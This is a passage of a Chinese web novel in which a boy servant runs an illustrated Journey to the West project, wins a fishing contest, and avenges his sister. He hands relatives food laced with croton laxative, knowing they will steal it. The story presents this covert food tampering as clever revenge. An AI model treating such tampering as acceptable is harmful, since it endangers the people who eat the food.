年纪不大,不贪功,不冒进,更难得的是这份远见卓识! 此子将来,绝非池中之物! 张盛财心中暗暗赞叹,脸上却依旧不动声色。 他的话锋陡然一转,眯起那双小眼睛,盯着陈平川。 “平川,老爷我问你一句话,你需得如实回答。” “前些天,你爹陈仲和曾来府上,想要为你赎身。” “老爷我……当时开口,要了一百两纹银!” “你会不会因为这件事情,在心里头,怨恨老爷我?” 书房内的气氛,在这一瞬间,变得沉重起来。 陈平川神色平静如水,他坦然迎向张盛财的目光。 “回老爷的话,平川不怨。” “老爷您是生意人,求财逐利,本就是天经地义的本分。” “平川自卖身进入张府的那一刻起,便是张府的私产。” “值多少银子,自然是由老爷您说了算。” “倘若当初老爷轻易便放平川离去,那才真正说明,平川在老爷眼中,一文不值。” “如今,老爷您开出一百两纹银的高价。” “这恰恰说明,在老爷的心里,我陈平川,值这个价钱!” “平川只会更加用心地为张府做事,让老爷觉得,这一百两银子,花得物超所值!” “将来,平川还要凭自己的本事,为张家挣回十个百两,百个百两!” “至于赎身之事,我爹他自然会努力去筹措银两。” “平川自己,也会尽心竭力为张府效力,争取早日凭借自己的能力,堂堂正正地挣回自由之身!” 陈平川这番话说得滴水不漏,既圆滑奉承,又不失风骨。 张盛财听完,再也绷不住脸上的严肃。 他爆发出一阵极其舒畅的大笑! “哈哈哈!你小子说得好!说得太他娘的好了!” 他笑得前仰后合,指着陈平川,脸上的肥肉都在颤抖。 “那一百两赎金,老爷我可以给你免了!” 陈平川心中猛地一跳! 一股狂喜,险些就要冲破他的胸膛! 却听张盛财紧接着又补充道:“但是!你得答应老爷我一件事!” “从今往后,你必须踏踏实实地待在我张家,用心辅佐金宝,务必让他学出点名堂,将来能有点出息!” “至少……十年!” 张盛财伸出一根粗壮的手指,在陈平川面前晃了晃。 “十年之后,老爷我还你自由身,还给你一笔丰厚的赏赐,如何?” 陈平川脸上的喜色,在这一瞬间凝固了。 仅仅是一瞬。 随即,他立刻换上了一副感激涕零的模样,连连作揖。 “多谢老爷!” “平川定当为张家鞠躬尽瘁,死而后已!” 他深深地低下头,巧妙地遮住了眼底那一闪而逝的凛冽寒光。 十年? 张老爷,你以为用这张看似诱人的空头支票,就能锁住我十年? 我陈平川,迟早会凭自己的力量,堂堂正正地从这张府的大门迈出去! 绝不会是十年之后! 张盛财的办事效率,当真是雷厉风行到了极点。 不过短短两三日的功夫。 府里便专门腾出了一间宽敞明亮的厢房。 这厢房采光极佳,阳光透过窗棂洒入,将室内照得通透。 案几、上好的笔墨纸砚,一应俱全,样样都是精品。 他甚至从庐州府城里,寻来了三位在画师圈小有名气的画师。 一位姓李,专擅山水,下笔老道,颇有几分意境。 一位姓赵,主攻人物,尤其擅长绘制栩栩如生的仕女图。 还有一位姓孙,平日里多是画些花鸟鱼虫,以此糊口。 三人被请到张府。 当他们得知日后要听从调遣的主事之人,竟是一个唇红齿白、尚未及冠的小书童时,脸上皆是掩不住的错愕。 张盛财挺着他那标志性的圆肚子,大手一挥,指着一脸淡然的陈平川,嗓门洪亮如钟: “往后,你们几位,就都听这小子的!” “他让你们怎么画,你们就怎么画!” 他顿了顿,语气中带着不容置疑的威严。 “画好了,工钱赏钱,一文都不会少了你们的!” “可要是画不好……”他哼唧了两声,那双小眼睛里闪过一丝精明,威胁之意已是不言而喻。 陈平川则不卑不亢,对着三位面带疑色的画师拱了拱手,语气平和。 “三位先生,接下来这段时日,便要劳烦各位多多费心了。” 第46章 《西游记》工作室开张,小书童当总管? 那李画师捻着颌下几缕山羊须,皮笑肉不笑地开口:“小少爷太客气了,却不知……是要我等画些什么东西?” 赵画师则目光锐利,细细打量着陈平川,眼神带着疑惑。 孙画师看起来最为老实敦厚,只是低着头,喏喏地应了一声。 陈平川也不多言解释。 他直接让人摊开了自己早已精心绘制好的几幅《猴王出世》的简略草图。 线条虽简,神韵却足。 “这,便是我等接下来要画的故事开篇。” 他伸出小手指,点向其中一幅猴王自仙石中蹦出的场景。 “李先生,这石猴出世的背景山石,既要有仙家洞天的缥缈仙气,又不能失了花果山那份山林野趣,最重要的是,要有那石破天惊的‘爆裂’之感!” 随即,他又转向那位擅长人物的赵画师。 “赵先生,这猴王,非人非仙亦非妖。要画出他骨子里的天真烂漫,更要画出他那股桀骜不驯、睥睨万物的野性与灵性。” 最后,他的目光落在了孙画师身上。 “孙先生,这仙石旁边点缀的奇花异果,以及那些奔走相告的小猴,务求灵动活泼,栩栩如生。” 起初的几日。 这三位画师对于陈平川这位“小总管”的指手画脚,心中颇有些不以为然,甚至带着几分轻视。 一个乳臭未干的毛头小子,他能懂什么丹青神韵,笔墨精髓? 李画师笔下的山石,依旧是他惯常的路数,层峦叠嶂,意境悠远,仙则仙矣,却少了陈平川口中反复强调的那种石破天惊的“爆裂感”和“力量感”。 而赵画师笔下的猴王,眉眼之间总是带着几分仕女的柔媚,失了那股泼猴该有的精气神。 只有孙画师画得还算合格,但他画的内容却不是重点。 陈平川表现出了与年龄不符的耐心。 他一遍又一遍地比划着,解释着,力求将自己脑海中的画面精准地传递给他们。 “李先生,您看,这石头不是缓缓裂开的,它是‘嘭’的一声,猛然炸开!要画出那种冲击力,那种碎石崩飞的动感!” “赵先生,这猴王的眼神,要像初生的火焰一般,明亮、炽热,带着对未知世界的好奇与无畏!而不是像那些深闺小姐含情脉脉的秋波!” 有时候为了让他们更直观地理解,他甚至会忍不住手舞足蹈地模仿孙悟空挠腮、远眺的动作,引得画师们面面相觑。 画师们从最初的轻视与不解。 到后来的半信半疑,再到渐渐地,被他那些层出不穷、闻所未闻的新奇想法和精妙构思所折服。 这小子,这小小的脑袋瓜里,究竟都装了些什么稀奇古怪的玩意儿? 几位画师被陈平川这般近乎严苛地“折腾”,私下里也是叫苦不迭,没少凑在一起嘀咕抱怨。 “乖乖,这小书童,真是比官老爷难伺候!”赵画师苦笑。 “话是这么说,”李画师咂摸着嘴,“可你还别不服气,经他这么一指点,你再看这画,嘿,确实比咱们原先画的生动不少。” 孙画师连连点头:“这位小童子,真是人不可貌相啊!” 渐渐地。 一种前所未见、独具一格的全新画风,在他们几人的笔下,悄然成型。 线条简练凌厉,充满了蓬勃的张力。 色彩明快鲜亮,又不失古朴雅致的韵味。 其人物造型,大胆夸张,既不失应有的真实感,又不乏神魔世界的奇幻瑰丽。 约莫半月之后。 第一卷《猴王出世与大闹天宫》的全部画稿,在经过了十数次的反复修改与打磨后,终于有了令人满意的雏形。 张盛财几乎每日都会挺着肚子,乐呵呵地抽空过来巡视一圈。 他看着那些从无到有,日渐丰满生动的画稿,脸上的笑容也一天比一天更盛,眼角的褶子都笑开了花。 “平川啊,”他喜不自胜地拍着陈平川的小肩膀,“依你看,这第一批画册,咱们印制多少数量才最合适?” 陈平川放下手中的画稿,目光看向张盛财。 “老爷,这《西游记》画册的印制,小的以为,不在于数量多寡,而在于一个‘精’字。” “首批印量,务必严格控制。依小的之见,三百册,足矣。” 张盛财闻言一愣,他那双小眼睛瞪大了几分:“三百册?就这么点儿?够谁分的?” 要知道,这庐州府里,那些大户人家的府上,哪家没有个三五个小少爷、小小姐的? 更别提,这城里还有不少附庸风雅的读书人,他们可都是这画册的潜在买家啊。 陈平川唇角勾起一抹自信的浅笑。 “老爷,您听我说。正因为这数量稀少,才更显得它弥足珍贵。” “我们要让这部《西游记》画册,一经面世,便立刻成为一件人人渴求的稀罕物。” “要让他们想买却买不到,甚至要为此抢破了头,如此方能吊足他们的胃口,也更能彰显出咱们这部画册的不凡身价。” 他微微停顿了一下,继续补充道。 “至于首发的地点,也得有所讲究。必须选在咱们庐州府城里那几家最高档、最雅致的书坊。” “并且,我们要提前至少十天半月,便开始放出些许风声去。只说我们耗费巨资,绘制了一部旷世奇书,图文并茂,故事精彩绝伦,乃是小儿开蒙启智、大人解颐消遣的无上妙品。” “然后,在街头巷尾那些人流最为密集之处,张贴几幅色彩鲜艳的《西游记》故事片段的巨幅彩绘揭帖,引人注目。” “再请些口齿伶俐的伙计,拿着印有简单图画和介绍词的‘传帖’,在各大书院茶楼、繁华市集等人群聚集的地方,进行散发和口头宣传。” “与此同时,还可以暗中雇佣一些说书先生,在各个瓦舍勾栏之地,开始预热这《西游记》的故事,不必细讲,只说新出了一部图文并茂的绝世奇书《西游记》,如何如何精彩绝伦,如何如何引人入胜,务必吊足人们的胃口。” “如此多管齐下,务必做到让整个庐州府全城皆知,街谈巷议。待到正式发售那一日,方能一鸣惊人,造成一书难求、争相抢购的空前盛况!” 第47章 地主儿子VS财主少爷,谁输谁学狗叫? 张盛财听得是连连点头,激动得脸上的肥肉都微微颤动,一双小眼睛里更是闪烁着兴奋的精光。 “我明白了!平川你这招,高!实在是高!老子这就去安排!” 就在这时。 门外传来一个娇蛮的清脆嗓音。 “臭书童!我爹爹说,你们在印好多好多孙悟空的小画书,是不是真的?” 话音未落。 张静姝便像一阵小旋风似的,猛地冲了进来。 她一眼就看到了书案上摊开的那些色彩鲜艳、引人入胜的画稿。 “哇!这个就是《西游记》的小画书吗?画得好漂亮呀!” 她几步跑到书案前,小脑袋瓜好奇地凑过去,小手已经迫不及待地抓起一本画稿就津津有味地看了起来。 “嘻嘻,这个孙悟空,画得可真好看!比你讲的故事里还要威风!”张静姝指着画稿上那威武不凡的孙悟空,一双黑葡萄般的大眼睛亮晶晶的,闪烁着兴奋的光芒。 她抬起头,目光灼灼地看向一旁的张盛财,小嘴微微一撅,强烈要求道:“爹爹!这《西游记》的小画书做出来之后,第一本必须先给我看!” 张盛财见宝贝女儿如此喜欢,哪里会有不答应的道理,当即大手一挥,满口答应。 “好好好!别说第一本了,所有的画册都给我的乖女儿留着!” 陈平川看着这对活宝父女,只能无奈地摇了摇头。 从此以后。 这间“《西游记》漫画工作室”的门口,便多了一位雷打不动的常客。 张静姝几乎每日都会准时跑过来“视察”。 她会自己搬个小锦墩,坐在门口。 一边小口小口地啃着她最爱的桂花糕,一边眼巴巴地伸长了脖子,等着看画师们画出最新的故事进展。 她还时不时地会对着那些画稿指指点点,发表自己的“高见”。 “哎呀,这个妖怪画得也太丑了吧?就不能画得稍微漂亮一点点吗?人家看了会做噩梦的!” “还有这个仙女姐姐的衣服颜色,太素净了不好看!能不能换个鲜亮点儿的颜色嘛!比如桃红色的,或者水蓝色的!” 几个画师被她折腾得是头疼不已,暗地里都觉得,这位张府的千金大小姐,比陈平川还要难应付! …… 盼星星盼月亮,张金宝总算盼来了十日一次的旬休。 他像一只刚挣脱牢笼的小鸟儿,一蹦三尺高,扯着嗓子嚷嚷着要去外面撒欢儿。 《西游记》画册工作室的初期筹备总算告一段落,陈平川也觉得连日来绷紧的脑子有些发胀,正想寻个机会出去透透气。 于是乎,他被张金宝拉着,两人兴冲冲地一道往村外的野地里去了。 春日的阳光暖洋洋地洒在身上,格外和煦。 溪边的杨柳抽出嫩绿的新芽,随风依依摇摆。 两人刚晃晃悠悠地走到溪树村附近那条清澈的小溪边,正想寻摸块干净的大石头歇歇脚,冷不丁就跟一伙半大不小的孩子撞了个正着。 为首的那个,正是隔壁溪树村大地主王长发的独苗儿子,九岁的王小虎。 这王小虎在附近几个村子里,可是出了名的横行霸道。 他身后总是跟着几个佃户家的孩子,充当他的跟班走狗,为虎作伥。 说来也巧,王小虎与张金宝素来不睦。 两人从小就不知道打了多少回嘴仗,急眼了偶尔还会动上手。 当真是仇人见面,分外眼红。 王小虎双手叉腰,下巴抬得比天还高,拿那双小眼睛斜睨着张金宝,阴阳怪气地开了口:“哟,我当是谁呢!这不是张家的那个窝囊废吗?” “怎么着?不在家里头抱着书本啃,跑到这儿来偷懒耍滑了?” 他身后的那几个跟屁虫立刻狗仗人势地跟着起哄。 “就是就是!张金宝,你个胆小如鼠的窝囊废!” 张金宝哪里受得了这种赤裸裸的挑衅? 他的脸瞬间涨得通红,脖子上的青筋都一根根地鼓了起来。 他伸出手指着王小虎的鼻子,怒喝道:“王小虎!你说谁是窝囊废?” “我爹说了,你跟你那个财主爹一样,就是个井底之蛙,屁点儿见识都没有!” 王小虎听了这话,非但不恼,反而贼眼珠子一转,脸上露出了不怀好意的阴险笑容。 他指了指面前的溪流,嘴角勾起一抹坏笑:“张金宝,谁是窝囊废,谁又没见识!咱们比试比试,不就知道了?你敢不敢?” “比就比!老子怕你不成!”张金宝几乎是想也不想,便一口应承了下来:“说吧,比什么?” 王小虎见他如此轻易就上了钩,脸上的得意之色更浓了:“咱们就比抓鱼!一个时辰之内,谁抓的鱼多,就算谁赢!” 他故意顿了顿,加重了语气:“输的人,不仅要学三声狗叫,还得恭恭敬敬地管赢家叫上三声‘爷爷’!怎么样,你敢不敢应战?” “有何不敢!”张金宝梗着脖子,再次一口应下。 他也是个抓鱼的好手,难道还会怕了这个嚣张的王小虎不成? 王小虎得意地嘿嘿一笑,立刻冲着身后的三四个跟班发号施令:“你们,都给老子下水!把那些鱼都抓上来,越多越好!” 随着他一声令下,那几个孩子便“扑通!扑通!”接二连三地跳进了清澈的溪水里。 一时间,原本平静无波的溪水被他们搅得浑浊不堪。 王小虎则抱着胳膊,得意洋洋地看着张金宝。 张金宝气得脸都快绿了。 他指着王小虎,大声嚷嚷道:“王小虎!你耍赖!你让这么多人一起帮忙,这不公平!” 王小虎撇了撇嘴,露出一副无赖相:“比试的规矩里,可没说不许找帮手啊!” “你要是不服气,你也可以找人帮忙嘛!” 他轻蔑地用下巴指了指一旁始终没怎么作声的陈平川,“喏,你不是还有个小书童嘛!” “不过嘛,就算加上你,也就区区两个人。我们这边,可是四个人呢!” 敌众我寡,这形势明摆着对张金宝不利。 张金宝气得直跺脚,却又无可奈何,只能眼睁睁地看着王小虎那边的人在水里扑腾翻搅。 不时地,那边还会发出一两声抓到小鱼的欢呼,更是让他心急如焚。 第48章 神奇捕鱼法,地主儿子绷不住了! 陈平川在一旁静静地观察了片刻。 这条小溪并不算宽,水流也说不上如何湍急,两岸多是些圆润的鹅卵石和摇曳的水草。 王小虎他们人多势众,确实占了不小的优势。 这么一阵胡乱搅和之下,原本藏匿的鱼儿都被吓得四处奔逃,更难捕捉了。 见张金宝气得脸红脖子粗,急得几乎快要跳脚骂娘,陈平川嘴角微微一扬,勾起一抹浅笑,迈步走了上前。 他伸出小手,轻轻拍了拍张金宝的胳膊,安抚道:“少爷,莫要着急。” 张金宝正憋着一肚子的火气没处发泄,闻言猛地扭过头来看他:“大哥!我能不急吗?你瞧瞧他们,都快把溪里的鱼抓光了!” 陈平川的声音不大,却透着一股沉稳:“少爷,这抓鱼嘛,也得讲究个技巧和方法。” “人多,有时候可不一定顶用。” “瞧我的便是。” 他语气平淡,仿佛胜券已然在握。 张金宝将信将疑地瞅着他,先听听他有什么好主意。 陈平川也不多做解释,径直走到溪流一处水面较窄、水流也相对平缓一些的地段。 他伸出小手指着那里,对张金宝吩咐道:“少爷,你来帮我个忙。咱们就在这里,用溪边的石头,垒起一个小小的石坝。” “垒坝?”张金宝闻言一愣,满脸不解。 陈平川笃定地点了点头,率先弯下腰,开始动手搬运岸边那些大小不一的石块。 他有条不紊地指挥着张金宝,两人齐心协力,动作倒也麻利。 很快,就在潺潺的溪水中,垒起了一道简易的“V”字形石堰。 这道石堰并没有将水流完全堵死,而是在那“V”字的尖端,特意留下了一个约莫碗口大小的缺口。 王小虎和他那群跟班们,远远瞧见他们俩费劲巴拉地在水里垒起这么一个奇形怪状的石堆,纷纷在对岸捧腹大笑起来,笑声中充满了鄙夷。 “哈哈!快看那两个傻子!他们该不会是想用几块破石头把鱼给圈起来吧?” “真是能笑掉人的大牙了!溪里的鱼儿那么机灵,难不成还会傻乎乎地自己往那石头缝里钻不成?” 王小虎更是笑得前仰后合,眼泪都快出来了:“张金宝,我看你还是趁早多练练狗叫吧!到时候叫得不像,那可就太丢人了!” 张金宝被他们肆无忌惮的嘲笑声弄得脸上阵阵发烧,有些沉不住气了,焦急地看向陈平川。 陈平川却对那些刺耳的嘲讽充耳不闻,神色平静,仿佛压根就没听见一般。 他仔细检查了一下那道小小的石堰,确认足够稳固之后,又扭头对张金宝道:“少爷,成了。” “现在,你到这石堰上游大概十来丈远的地方去。” 他指了指上游一处水草长得颇为丰茂的浅滩区域。 “你就站在岸边,用手里的树枝,轻轻地拍打水面。记住,动静不用太大,把鱼群慢慢地、不着痕迹地往我们这边赶过来就行。” 张金宝虽然心里头依旧是充满了疑惑,但见陈平川一副稳如泰山的模样,还是依言折了一根柔韧的柳条,乖乖地走到了上游去。 他学着陈平川先前教的样子,用那根柳条在水面上方来回搅动,轻轻拍打出一些细碎的水花。 很快,那些原本在浅水区悠闲觅食,或是躲藏在浓密水草之下的小鱼儿,纷纷受惊,本能地顺着水流的方向,向下游逃窜而去。 这些慌不择路的鱼儿,一窝蜂似的,径直游向了陈平川他们刚刚筑好的那道“V”字形石堰。 大部分的鱼儿,都本能地沿着石堰两侧的走向,朝着那唯一的、窄小的缺口奋力游去。 然而,一旦它们争先恐后地通过那个狭窄的缺口,进入了“V”字形石堰所形成的包围圈之内,情况就瞬间大一样了! 因为那个缺口修筑得非常小,而且是逆着水流的方向。 鱼儿一旦钻了进来,想要再从那个小小的口子里逆流游出去,就变得异常困难重重。 此时,陈平川与张金宝只需好整以暇地守在那“V”字石堰尖端缺口的后方。 他们甚至都不用亲自下到冰凉的溪水里去。 眼看着一条条受惊不浅的鱼儿,如同没头苍蝇般,争先恐后地从那个小小的缺口涌入。 他们便轻松地伸出手,将那些在石堰后方活蹦乱跳的鱼儿,一条接着一条地捞了起来,随手扔到岸边的青青草地上。 不过是片刻的功夫。 岸边的草地上,就堆起了一小堆银鳞闪闪、兀自摆尾挣扎的鱼儿。 那数量,一眼望去,便已明显超过了还在溪水里手忙脚乱、大呼小叫扑腾着的王小虎那一伙人。 张金宝兴奋的手舞足蹈,问道:“大哥,你这抓鱼的法子好厉害?从哪里学来的?” “这叫石堰捕鱼法,是我从一位老渔夫那里学来的。” 陈平川睁眼说瞎话,明明是他跟着户外求生的博主学来的。 溪水对岸的喧嚣笑声,在这一刻,戛然而止。 王小虎和他那群跟班们,全都目瞪口呆地看着这边,仿佛大白天见了鬼一般。 几个先前还在嘲笑的孩子,此刻都张大了嘴巴,半天都合不拢,脸上的表情精彩至极。 王小虎更是使劲地揉了揉自己的眼睛,简直不敢相信自己眼前所看到的一切! 一个时辰的光景,转瞬即逝。 陈平川和张金宝的面前,堆着一小簇银光闪闪的鱼儿。 细细数来,足足有三四十条,个头儿还不小,在草地上活蹦乱跳,尾巴啪啪作响。 反观王小虎那边,几个小跟班累得上气不接下气。 他们面前的战果,却只有稀稀拉拉的十几条小鱼。 最大的那条,也不过孩童巴掌长短。 胜负已然分明。 张金宝此刻得意洋洋,小脸因为兴奋而涨得通红。 他双手叉腰,迈着八字步走到王小虎面前,学着他先前那不可一世的腔调,下巴抬得比天还高。 “王小虎,怎么样?服不服气?” “快,给小爷学三声狗叫,再恭恭敬敬地叫三声爷爷!” 王小虎何曾受过这等奇耻大辱? 他的脸先是涨得通红,随即,又迅速转为猪肝一般的酱紫。 他眼中的凶光毕露,牙齿咬得咯咯作响。 “你们……你们使诈!这不算数!” 王小虎的声音尖厉,带着气急败坏:“肯定是用了什么见不得人的妖法!” 他猛地一挥手,对着身后那的跟班恶狠狠地命令道:“都愣着干什么?给老子一起上!” “狠狠地揍他们一顿!出了什么事,我爹给你们担着!” 第49章 张金宝的“钞能力”,陈平川的逆鳞! 那几个佃户家的孩子闻听此言,立刻嗷嗷叫着围了上来。 陈平川见势不妙。 对方人多势众,真要动起手来,自己和张金宝这两个小身板,肯定要吃大亏。 他立刻拉了拉张金宝的衣袖,喊道:“少爷,好汉不吃眼前亏,咱们快跑!” 张金宝也知道硬拼打不过,被陈平川一提醒,拔腿就想跑。 可惜,他们没跑多远,就被王小虎那伙人给团团围住了,一个个摩拳擦掌,眼看就要动手。 陈平川心头一紧。 他下意识地将张金宝往自己身后拉了拉,准备自己先硬抗一下,好让张金宝找机会溜走。 然而,出乎陈平川意料的是,张金宝却没有逃跑。 他反而猛地一挺自己的小胸膛,从陈平川身后挤了出来,坚定地挡在了他的身前。 “大哥,你帮了我这么多次,今天轮到我张金宝保护你了!” 陈平川心中蓦地一暖。 这小少爷,平日里看起来是憨了点,没想到关键时刻,还真有那么几分义气。 但他还是焦急万分,这小胖子逞什么英雄好汉? 就算他身子骨比自己壮实那么一些,可对方毕竟人多势众,硬拼的下场,肯定是鼻青脸肿。 就在王小虎那伙人,要恶狠狠地扑上来之际。 张金宝突然有了动作。 他飞快地从怀里掏出一个沉甸甸的钱袋,看也不看,就猛地朝天上一扬! 同时扯着嗓子,用尽全身力气大喝一声:“都给老子住手!” “这些钱赏你们了,谁捡到就是谁的!” 哗啦啦一阵清脆悦耳的金属碰撞声响起。 上百枚黄澄澄的铜钱,如同天女散花一般,从半空中洒落下来。 叮叮当当! 铜钱掉了一地,在阳光下闪烁着诱人的光芒。 那些佃户家的穷孩子们,平日里连几个铜板都难得一见,此刻哪里见过这等阵仗? 看着满地滚动的铜钱,他们的眼睛瞬间都直了,也顾不上打架,纷纷发出一声惊呼,恶狗般扑向地上的铜钱。 “我的!这是我的!” “别抢!都是我的!” 场面顿时一片混乱。 几个人为了争抢一枚铜钱,甚至不惜推搡起来,扭打作一团。 王小虎气得急得直跺脚,声嘶力竭地嘶吼:“别捡了!都不许捡!” “快给老子抓住他们两个!” 然而,他的话在铜钱那巨大的诱惑面前,显得是那么的苍白无力。 根本就没人理会他这个带头大哥了。 张金宝趁着这个千载难逢的当口,一把拉住还有些发愣的陈平川。 “大哥,还愣着干嘛?快跑啊!” 两人趁着这片混乱,拔腿就跑,一溜烟便消失在了田埂的尽头。 直到再也听不见身后那嘈杂的吵嚷声,两人才气喘吁吁地停了下来。 陈平川看着旁边叉着腰,呼哧呼哧喘着粗气的张金宝,一时间有些哭笑不得。 “少爷,刚才……让你破费了。” 这大概就是传说中的“钞能力”吧。 简单,粗暴,却又异常有效。 张金宝抹了把额头上的汗珠,咧嘴一笑,露出两颗可爱的小虎牙。 “嘿嘿,小意思!我爹说了,能用钱解决的事,那都不叫事!” 他得意地拍了拍自己鼓鼓的胸脯,一副小大人的模样,说道:“大哥你放心,以后有我张金宝在,保准没人敢欺负你!” 陈平川看着他那副认真的小模样,心中又是一暖,脸上也露出了真诚的笑容,轻轻点了点头。 经此一事,他对张金宝这个平日里有些憨直的小弟,倒是真有点刮目相看了。 两人刚在一块大石头上坐下,还没匀过气来,就看见同村的二蛋跟火烧了屁股似的,从田埂那头疯跑过来。 “平川哥!平川哥!” 二蛋一张小脸涨得通红,上气不接下气,显然是跑急了。 陈平川心里猛地“咯噔”一下,一股不祥的预感涌上心头。 “二蛋,慢点说,出什么事了?” 二蛋双手扶着膝盖,大口大口地喘着粗气。 “平川哥,我娘说你妹妹……平玉,”他断断续续地说着,“她的头……被、被虎子打破了!流了好多血呢!” “轰!” 陈平川只觉得脑子里像是有什么东西炸开了。 他眼前骤然一黑,脸上的血色在刹那间褪得干干净净,只剩下骇人的苍白。 “你说什么?到底怎么回事?” “这是我娘听村里人说的!”二蛋终于缓过一口气,急急忙忙地用手比划着,试图将事情说清楚。 “就、就是你家那个虎子,他抢平玉的东西,平玉不肯给他!” “虎子就把平玉推倒了!” “平玉的后脑勺,正好磕在院子里的石阶棱子上,当时就流了好多血……” “虎子还坐在地上哭,反过来赖平玉打他!” 二蛋一口气把从村妇们嘴里听来的七零八落的事情经过,一股脑儿全倒了出来。 不过,他最后也补充道,平玉的头已经被大夫包扎好了,也喝了药,据说现在已经好多了。 “他娘的!” 旁边的张金宝一听这话,那双眼睛瞬间瞪得像铜铃,一股怒火“噌”地烧到了头顶。 他一把就抓住了陈平川的胳膊,小胖脸涨得通红。 “那个虎子!他竟敢这么欺负大哥妹妹!” “大哥,我们快回去!我帮你去狠狠教训那个臭小子!” 他说着,就要拉着陈平川往村子方向跑。 陈平川眼神闪烁,身子纹丝不动,反而一把拉住了怒气冲冲的张金宝。 他的声音平静得有些可怕。 “少爷,先别急。” 张金宝扭过头,满脸不解地看着陈平川。 “大哥!这怎么能不急啊?你妹妹头都打破了啊!” “我们现在回去,除了跟他们那帮不讲理的吵一架,还能做什么?”陈平川的语气依旧平稳如水,但水面之下,却是暗流汹涌。 “事情已经发生了,我们两个小孩子,现在回去也改变不了任何结果,反而可能把事情闹得更糟。” 他太清楚了,祖父母和那几房人是什么德性。 他们只会偏袒虎子,指责自己。 张金宝圆睁着眼,有些不明白。 “那……那怎么办?大哥,你妹妹不能白白受伤!这口气怎么咽得下去!” 第50章 来自张府小少爷的“美味佳肴” 陈平川嘴角缓缓勾起一抹冰冷的弧度。 那笑容,看得张金宝没来由地打了个寒颤,仿佛瞬间掉进了冰窟窿。 “这事,自然不能就这么算了。” 陈平川垂下眼帘,浓密的睫毛遮住了眸底那一闪而过的森寒光芒。 “我们先回张府。” “我需要……小姐帮一个忙。” 回到张府,陈平川径直朝着张静姝的院子走去。 张静姝此刻正坐在廊下,纤细的手指百无聊赖地拨弄着一盆兰花,小嘴微微撅着,似乎有些不开心。 “小姐。”陈平川走到她面前,微微躬了躬身。 张静姝抬起眼,看见是陈平川,那双漂亮的眸子里先是闪过一丝喜色。 但随即,她又迅速板起小脸,从鼻子里轻轻哼了一声。 “臭书童,你来做什么?本小姐正烦着呢!” 陈平川也不跟她拐弯抹角,直接开门见山。 “小姐,能否请你再给我一些……你上次做的那种‘特别’的点心和菜肴?” 他特意在“特别”两个字上加重了语气,眼神也变得别有深意,静静地看着张静姝。 张静姝先是一愣,显然没立刻明白他这葫芦里卖的什么药。 她眨了眨乌溜溜的大眼睛,小脸上满是疑惑。 “你要那个做什么?”她歪着小脑袋,不解地问,“那里面可是放了巴豆粉,会让人拉肚子的……” 话一出口,她猛然意识到自己说漏了嘴! 急忙伸出白嫩的小手,紧紧捂住了自己的嘴巴。 一双乌溜溜的大眼睛有些慌乱地眨动着,煞是可爱。 陈平川没有兴师问罪的意思,反而露出诚恳的表情。 “我有些私事,非常需要那种食物来解决一下。” “还请小姐行个方便,就当我陈平川……欠你一个人情。” 张静姝被他这郑重其事的模样弄得更加好奇了。 她歪着小脑袋,乌黑的眼珠转了转。 想到陈平川之前给自己讲那些好听故事,又想到他帮自己赢了那个大大的蝴蝶风筝…… 她心里的天平,不自觉地便开始倾斜了。 轻哼一声,雪白的下巴微微扬起,带着她那份娇蛮。 “好吧!看在你这么求本小姐的份上,本小姐就再帮你这一次!” “不过,你可给本小姐记住了,若是出了什么岔子,休想赖在本小姐的头上!” 说罢,她便唤来了身旁的丫鬟,如此这般,这般如此地吩咐了几句。 不多时,一个描金绘彩、看起来就十分精致高雅的食盒,便送到了陈平川的面前。 食盒打开。 里面是几样色香味俱全的糕点,还有两三样做得格外精致的小菜。 那香气扑鼻而来,光是闻着就令人食指大动,垂涎欲滴。 但陈平川心中却比谁都清楚,这诱人的香气之下,藏着的,是能让人跑茅房跑到腿软的“奥秘”。 陈平川郑重地向张静姝道了谢,这才拎起食盒,快步回到了自己的住所。 张金宝正焦急地在屋里等着他。 陈平川将食盒放在桌上,凑到张金宝耳边,压低了声音,如此这般地低声耳语了几句。 张金宝一边听,眼睛一边越睁越大,越睁越圆。 听到最后,他那双眼睛亮得简直像是两颗被点亮的小灯泡! “大哥!这招真是太损……不,是太妙了!” “哈哈哈,保管折腾死他们!” 随后,两人不再耽搁,提着那个食盒,一同来到了陈家老宅的门口。 说来也巧。 他们刚到院门口,便撞见了正要出门的三房王氏。 王氏那双滴溜溜乱转的眼睛,一眼就瞟见了陈平川手里那个精致食盒。 再一看他身旁站着的那个衣着光鲜,贵气逼人的张金宝,她的眼睛倏地一下就亮了起来。 脸上立刻堆起虚假的笑容,扭着那水桶般的腰肢,迎了上来。 “哎哟喂!这不是我们平川嘛!怎么有空回家?” “这位……是平川在张府里认识的小少爷吧?哎哟,瞧瞧这气派,真是一表人才,将来必定是人中龙凤啊!” 陈平川心中冷笑不止,面上却依旧不动声色的说道。 “三婶,我听说我妹妹平玉受了伤,张府的小少爷心善,知道了这事儿,特意让府里的大厨房准备了些滋补的吃食,让我带回来给平玉妹妹补补身子。” 王氏一听是张府小少爷送的,那双本就发亮的眼睛里,光芒更盛了。 不用问,里面肯定都是山珍海味! “唉,那丫头也是可怜见的,伤了头,是该好好补补啊!”她嘴上说着心疼的话,却偷偷吞着口水。 陈平川心中冷笑更甚,面上却丝毫不显。 他主动将食盒往前递了递,声音清晰。 “劳烦三婶,能不能帮我把这些东西先送去给我妹妹,让她趁热吃了才好?” “我还要陪少爷回去读书,就不进去了。” 他这话,故意提高了音量,确保院子里的人也能听得一清二楚。 果然,话音刚落,三叔陈仲武探头探脑的从屋里伸了出来。 夫妻俩隔空对视一眼,都从对方那贪婪的眼神中,看到了同样的东西。 王氏连忙伸出手,一把就接过了食盒,嘴上还不停地应承着:“应该的,应该的!” 陈平川露出人畜无害的天真笑容:“谢谢三婶!” 王氏摆手:“都是一家人,客气什么!平玉也是我的亲侄女,她受伤了,我们心里也跟着疼啊!” “平川你放心,少爷也放心,我们一定给你送过去,让平玉那丫头好好补补身子” 陈仲武也急忙从屋里凑了上来,满脸堆笑,连声向张金宝道谢,那腰弯得都快到地上了。 张金宝却是余怒未消,对着这两个势利小人,重重地“哼”了一声,连个好脸色都没给他们。 王氏和陈仲武也不在意,得了宝贝食盒,便迫不及待地关上了院门。 两人捧着那沉甸甸的食盒,急不可耐地往自家那屋里走,丝毫没有往二房陈平玉那边去的意思。 王氏和陈仲武提着食盒,脸上是藏不住的窃喜。 他们径直回了自家三房,将门从里面悄悄掩上。 “爹,娘,这是什么好东西?” 陈平西鼻子尖,早就闻见了香味,他吸溜着口水,小眼睛盯着食盒。 第51章 臭不要脸一家人,抢孩子补品! 陈平香也凑了过来,一脸的好奇。 